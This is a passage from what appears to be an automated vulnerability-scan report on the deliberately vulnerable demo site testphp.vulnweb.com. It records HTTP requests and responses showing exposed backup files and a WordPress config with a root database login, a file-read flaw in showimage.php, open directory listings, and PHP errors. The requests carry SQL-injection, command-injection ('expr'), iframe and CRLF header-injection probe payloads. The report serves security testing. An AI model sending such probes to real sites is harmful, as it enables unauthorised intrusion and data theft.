        <li><a href="guestbook.php">Our guestbook</a></li>

<?PHP if (isset($_COOKIE["login"]))echo '<li><a href="logout.php">Logout</a>'; ?></li>
</ul>
</div>
<div class="relatedLinks">
    <h3>Links</h3>
    <ul>
        <li><a
...

```



## Request

```
GET /index.bak HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:34 GMT
Server: nginx/1.4.1
ETag: "4dca64a4-cc1"
Accept-Ranges: bytes
Content-Length: 3265
Content-Type: text/plain
Last-Modified: Wed, 11 May 2011 10:27:48 GMT
```

```
<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTMIsLocked="false"
-->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- I
...
="categories.php">Browse categories</a></li>
    <li><a href="artists.php">Browse artists</a></li>
    <li><a href="cart.php">Your cart</a></li>
    <li><a href="login.php">Signup</a></li>
        <li><a href="userinfo.php">Your profile</a></li>
        <li><a href="guestbook.php">Our guestbook</a></li>

<?PHP if (isset($_COOKIE["login"]))echo '<li><a href="..../logout.php">Logout</a>'; ?></li>
</ul>
</div>
<div class="relatedLinks">
    <h3>Links</h3>
    <ul>
        <li><a
...

```

Url: <http://testphp.vulnweb.com/showimage.php?file=showimage.php>



## Request

```
GET /showimage.php?file=showimage.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:10:59 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: image/jpeg
```

```
<?php
// header("Content-Length: 1" /*. filesize($name)*/);
if( isset($_GET["file"]) && !isset($_GET["size"]) ){
    // open the file in a binary mode
    header("Content-Type: image/jpeg");
    $name = $_GET["file"];
    $fp = fopen($name, 'rb');

    // send the right headers
    header("Content-Type: image/jpeg");

    // dump the picture and stop the script
    fpassthru($fp);
    exit;
}
elseif (isset($_GET["file"]) && isset($_GET["size"])){
    header("Content-Type: image/jpeg");
    $name = $_GET["file"];
    $fp = fopen($name.'.tn', 'rb');

    // send the right headers
    header("Content-Type: image/jpeg");

    // dump the picture and stop the script
    fpassthru($fp);
    exit;
}
?>
```



## Request

```
GET /pictures/wp-config.bak HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/pictures/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:12:37 GMT
Server: nginx/1.4.1
ETag: "493699b7-5ff"
Accept-Ranges: bytes
Content-Length: 1535
Content-Type: text/plain
Last-Modified: Wed, 03 Dec 2008 14:37:43 GMT
```

```
<?php
// ** MySQL settings ** //
define('DB_NAME', 'wp265as'); // The name of the database
define('DB_USER', 'root'); // Your MySQL username
define('DB_PASSWORD', ''); // ...and password
define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

// Change each KEY to a different unique phrase. You won't have to remember the phrases later,
// so make them long and complicated. You can visit http://api.wordpress.org/secret-key/1.1/
// to get keys generated for you, or just make something up. Each key should have a different phrase.
define('AUTH_KEY', 'put your unique phrase here'); // Change this to a unique phrase.
define('SECURE_AUTH_KEY', 'put your unique phrase here'); // Change this to a unique phrase.
define('LOGGED_IN_KEY', 'put your unique phrase here'); // Change this to a unique phrase.

// You can have multiple installations in one database if you give each a unique prefix
$table_prefix = 'wp_'; // Only numbers, letters, and underscores please!


// Change this to localize WordPress. A corresponding MO file for the
// chosen language must be installed to wp-content/languages.
// For example, install de.mo to wp-content/languages and set WPLANG to 'de'
// to enable German language support.
define ('WPLANG', '');

/* That's all, stop editing! Happy blogging. */

if ( !defined('ABSPATH') )
    define('ABSPATH', dirname(__FILE__) . '/');
require_once(ABSPATH . 'wp-settings.php');
?>
```

# Directory Listing

OWASP 2013-A5

Url: http://testphp.vulnweb.com/images/ 

## Request

```
GET /images/ HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/images/logo.gif
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:27 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
Content-Encoding:
Content-Type: text/html
```

```
...
<head><title>Index of /images/</title></head>
<body bgcolor="white">
<h1>Index of /images/</h1><hr><pre><a href="..">../</a>
<a href="logo.gif">logo.gif</a> 11-May-2011 10:27 6
660
<a href="remark.gif">remark.gif</a> 11-May-2011 10:27
79
</pre><hr></body>
</html>
```

Url: http://testphp.vulnweb.com/Mod\_Rewrite\_Shop/images/ ▲

## Request

```
GET /Mod_Rewrite_Shop/images/ HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/Mod_Rewrite_Shop/images/3.jpg
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:09:44 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
Content-Encoding:
Content-Type: text/html
```

```
...
e_Shop/images/</title></head>
<body bgcolor="white">
<h1>Index of /Mod_Rewrite_Shop/images/</h1><hr><pre><a href="..">../</a>
<a href="1.jpg">1.jpg</a> 15-Feb-2012 08:33 3551
<a href="2.jpg">2.jpg</a> 15-Feb-2012 08:27 2739
<a href="3.jpg">3.jpg</a> 15-Feb-2012 08:28 3560
</pre><hr></body>
</html>
```





# Request

GET /pictures/ HTTP/1.1  
Cache-Control: no-cache  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,\*;q=0.7  
Accept-Language: en-us,en;q=0.5  
Cookie: login=test%2ftest  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,\*/\*;q=0.5  
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5  
Referer: http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg  
Host: testphp.vulnweb.com  
Accept-Encoding: gzip, deflate

# Response

HTTP/1.1 200 OK  
Connection: keep-alive  
Date: Tue, 20 Jan 1970 07:10:06 GMT  
Transfer-Encoding: chunked  
Server: nginx/1.4.1  
Content-Encoding:  
Content-Type: text/html

...

ad<title>Index of /pictures/</title></head>		
<body bgcolor="white">		
<h1>Index of /pictures/</h1><hr><pre><a href="..">../</a>		
<a href="1.jpg">1.jpg</a>	11-May-2011 10:27	12426
<a href="1.jpg.tn">1.jpg.tn</a>	11-May-2011 10:27	4
355		
<a href="2.jpg">2.jpg</a>	11-May-2011 10:27	3324
<a href="2.jpg.tn">2.jpg.tn</a>	11-May-2011 10:27	1
353		
<a href="3.jpg">3.jpg</a>	11-May-2011 10:27	9692
<a href="3.jpg.tn">3.jpg.tn</a>	11-May-2011 10:27	3
725		
<a href="4.jpg">4.jpg</a>	11-May-2011 10:27	13969
<a href="4.jpg.tn">4.jpg.tn</a>	11-May-2011 10:27	4
615		
<a href="5.jpg">5.jpg</a>	11-May-2011 10:27	14228
<a href="5.jpg.tn">5.jpg.tn</a>	11-May-2011 10:27	4
428		
<a href="6.jpg">6.jpg</a>	11-May-2011 10:27	11465
<a href="6.jpg.tn">6.jpg.tn</a>	11-May-2011 10:27	4
345		
<a href="7.jpg">7.jpg</a>	11-May-2011 10:27	19219
<a href="7.jpg.tn">7.jpg.tn</a>	11-May-2011 10:27	6
458		
<a href="8.jpg">8.jpg</a>	11-May-2011 10:27	50299
<a href="8.jpg.tn">8.jpg.tn</a>	11-May-2011 10:27	4
139		
<a href="WS_FTP.LOG">WS_FTP.LOG</a>	23-Jan-2009 10:06	
771		
<a href="credentials.txt">credentials.txt</a>	23-Jan-2009 10:47	
33		
<a href="ipaddresses.txt">ipaddresses.txt</a>	23-Jan-2009 12:59	
52		
<a href="path-disclosure-unix.html">path-disclosure-unix.html</a>	08-Apr-2013 08:42	
3936		

<a href="path-disclosure-win.html">path-disclosure-win.html</a>	08-Apr-2013 08:41
698	
<a href="wp-config.bak">wp-config.bak</a>	03-Dec-2008 14:37
1535	
</pre><hr></body>	
</html>	




# Request

GET /CVS/ HTTP/1.1  
Cache-Control: no-cache  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,\*;q=0.7  
Accept-Language: en-us,en;q=0.5  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,\*/\*;q=0.5  
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5  
Referer: http://testphp.vulnweb.com/  
Host: testphp.vulnweb.com  
Accept-Encoding: gzip, deflate

# Response

HTTP/1.1 200 OK  
Connection: keep-alive  
Date: Tue, 20 Jan 1970 07:14:27 GMT  
Transfer-Encoding: chunked  
Server: nginx/1.4.1  
Content-Encoding:  
Content-Type: text/html

```
...
<html>
<head><title>Index of /CVS/</title></head>
<body bgcolor="white">
<h1>Index of /CVS/</h1><hr><pre><a href="..">../</a>
<a href="Entries">Entries</a>                                     11-May-2011 10:27
1
<a href="Entries.Log">Entries.Log</a>                             11-May-2011 10:27
1
<a href="Repository">Repository</a>                               11-May-2011 10:27
8
<a href="Root">Root</a>                                           11-May-2011 10:27      1
</pre><hr></body>
</html>
```

Url: http://testphp.vulnweb.com/admin/ 

## Request

```
GET /admin/ HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:14:28 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
Content-Encoding:
Content-Type: text/html
```

...

1>

<head><title>Index of /admin/</title></head>

<body bgcolor="white">

<h1>Index of /admin/</h1><hr><pre><a href="..">../</a>

<a href="create.sql">create.sql</a>

11-May-2011 10:27

523

</pre><hr></body>

</html>



# Request

GET /.idea/ HTTP/1.1  
Cache-Control: no-cache  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,\*;q=0.7  
Accept-Language: en-us,en;q=0.5  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,\*/\*;q=0.5  
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5  
Referer: http://testphp.vulnweb.com/  
Host: testphp.vulnweb.com  
Accept-Encoding: gzip, deflate

# Response

HTTP/1.1 200 OK  
Connection: keep-alive  
Date: Tue, 20 Jan 1970 07:14:28 GMT  
Transfer-Encoding: chunked  
Server: nginx/1.4.1  
Content-Encoding:  
Content-Type: text/html

```
...
1>
<head><title>Index of /.idea/</title></head>
<body bgcolor="white">
<h1>Index of /.idea/</h1><hr><pre><a href="..">../</a>
<a href="scopes/">scopes/</a> 13-Nov-2012 13:29
-
<a href="acuart.iml">acuart.iml</a> 20-Apr-2012 08:22
292
<a href="encodings.xml">encodings.xml</a> 20-Apr-2012 08:22
171
<a href="misc.xml">misc.xml</a> 20-Apr-2012 08:22
266
<a href="modules.xml">modules.xml</a> 20-Apr-2012 08:22
275
<a href="vcs.xml">vcs.xml</a> 20-Apr-2012 08:22 1
73
<a href="workspace.xml">workspace.xml</a> 20-Apr-2012 08:23
12473
</pre><hr></body>
</html>
```

# Error Message (PHP)

PCI 3.2-6.5.5, OWASP 2013-A5

**Url:** http://testphp.vulnweb.com/search.php?test=query%27%26%26expr%2015731618%20-%201233%26%26%27



## Request

```
POST /search.php?test=query%27%26%26expr%2015731618%20-%201233%26%26%27 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Content-Length: 22
Content-Type: application/x-www-form-urlencoded

searchFor=&goButton=go
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:08:03 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

-->

```
<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
```

**Warning: mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in /hj/var/www/search.php on line 61**

```
<h2 id='pageName'>searched for: </h2><div class='story'><p><a href='showimage.php?file=.
```

...

Url: http://testphp.vulnweb.com/listproducts.php?cat=testphp.vulnweb.com.beaglesec.com%2f%3f



## Request

```
GET /listproducts.php?cat=testphp.vulnweb.com.beaglesec.com%2f%3f HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/categories.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: close
Date: Tue, 20 Jan 1970 07:08:22 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

responds to your MySQL server version for the right syntax to use near '.beaglesec.com/?' at line 1

Warning: mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

</div>

<!-- InstanceEndEditable -->

<!--end content -->

<div id="navBar">

<div id="s

...

**Url:** http://testphp.vulnweb.com/artists.php?artist=(select%20convert(int%2c%20cast(0x35714C314E6A33633731306E%20as%20varchar(8000))))



## Request

```
GET /artists.php?artist=(select%20convert(int%2c%20cast(0x35714C314E6A33633731306E%20as%20varchar(8000)))) HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/artists.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:08:25 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

-->

```
<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
```

Warning: mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62

```
</div>
<!-- InstanceEndEditable -->
<!--end content -->
```

```
<div id="navBar">
  <div id=
```

...



Url: <http://testphp.vulnweb.com/AJAX/infoartist.php?id=testphp.vulnweb.com.beaglesec.com%2f%3f>



## Request

```
GET /AJAX/infoartist.php?id=testphp.vulnweb.com.beaglesec.com%2f%3f HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/AJAX/index.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:09:24 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: text/xml

<iteminfo>
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/AJAX/infoartist.php on line 7
</iteminfo>
```

Url: http://testphp.vulnweb.com/userinfo.php



## Request

```
POST /userinfo.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/login.php
Host: testphp.vulnweb.com
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

uname=-1%27%3bexpr%2015731618%20-%201233%3b%27&pass=
```

## Response

```
HTTP/1.1 302 Found
Connection: close
Date: Tue, 20 Jan 1970 07:09:51 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Location: login.php
Content-Type: text/html

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/userinfo.php on line 10
you must login
```

**Url:** http://testphp.vulnweb.com/search.php?test=query%27%26%26expr%2015731618%20-%201233%26%26%27



## Request

```
GET /search.php?test=query%27%26%26expr%2015731618%20-%201233%26%26%27 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:10:52 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

-->

```
<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
```

Warning: mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in /hj/var/www/search.php on line 61

```
</div>
<!-- InstanceEndEditable -->
<!--end content -->
```

```
<div id="navBar">
  <div id="s
```

...

**Url:** http://testphp.vulnweb.com/showimage.php?  
file=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e



## Request

```
GET /showimage.php?file=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:10:56 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: image/jpeg
```

...

fopen(): Unable to access <iframe src=//inject.me></iframe> in /hj/var/www/showimage.php on line 7

Warning: fopen(<iframe src=//inject.me></iframe>): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 7

Warning: fpassthru() expects parameter 1 to be resource, boolean given in /hj/var/www/showimage.php on line 13

**Url:** http://testphp.vulnweb.com/product.php?pic=(select%20convert(int%2c%20cast(0x35714C314E6A33633731306E%20as%20varchar(8000))))



## Request

```
GET /product.php?pic=(select%20convert(int%2c%20cast(0x35714C314E6A33633731306E%20as%20varchar(8000)))) HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:01 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

-->

```
<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
```

**Warning: mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in /hj/var/www/product.php on line 70**

```
</div>
<!-- InstanceEndEditable -->
<!--end content -->
```

```
<div id="navBar">
  <div id="s
```

...

**Url:** http://testphp.vulnweb.com/showimage.php?file=(select%20convert(int%2c%20cast(0x35714C314E6A33633731306E%20as%20varchar(8000))))&size=160 ▲

## Request

```
GET /showimage.php?file=(select%20convert(int%2c%20cast(0x35714C314E6A33633731306E%20as%20varchar(8000))))&size=160 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:05 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: image/jpeg
```

...

nt, cast(0x35714C314E6A33633731306E as varchar(8000))).tn in /hj/var/www/showimage.php on line 19

Warning: fopen((select convert(int, cast(0x35714C314E6A33633731306E as varchar(8000))).tn): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 19

Warning: fpassthru() expects parameter 1 to be resource, boolean given in /hj/var/www/showimage.php on line 25

Url: <http://testphp.vulnweb.com/listproducts.php?artist=testphp.vulnweb.com.beaglesec.com%2f%3f>



## Request

```
GET /listproducts.php?artist=testphp.vulnweb.com.beaglesec.com%2f%3f HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/artists.php?artist=1
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:32 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

responds to your MySQL server version for the right syntax to use near '.beaglesec.com/?' at line 1

Warning: mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

</div>

<!-- InstanceEndEditable -->

<!--end content -->

<div id="navBar">

<div id="s

...

Url: http://testphp.vulnweb.com/AJAX/infocateg.php?id=%0d%0abeagle%3ainjected%3dheader



## Request

```
GET /AJAX/infocateg.php?id=%0d%0abeagle%3ainjected%3dheader HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/AJAX/index.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:16:17 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: text/xml

<iteminfo>
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/AJAX/infocateg.php on line 7
</iteminfo>
```



Url: <http://testphp.vulnweb.com/AJAX/infotitle.php>



## Request

```
POST /AJAX/infotitle.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/AJAX/index.php
Host: testphp.vulnweb.com
Content-Length: 42
Content-Type: application/x-www-form-urlencoded

id=testphp.vulnweb.com.beaglesec.com%2f%3f
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:16:20 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: text/xml

<iteminfo>
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/AJAX/infotitle.php on line 7
</iteminfo>
```

# Predictable Resource Location

Url: http://testphp.vulnweb.com/CVS/▲

## Request

```
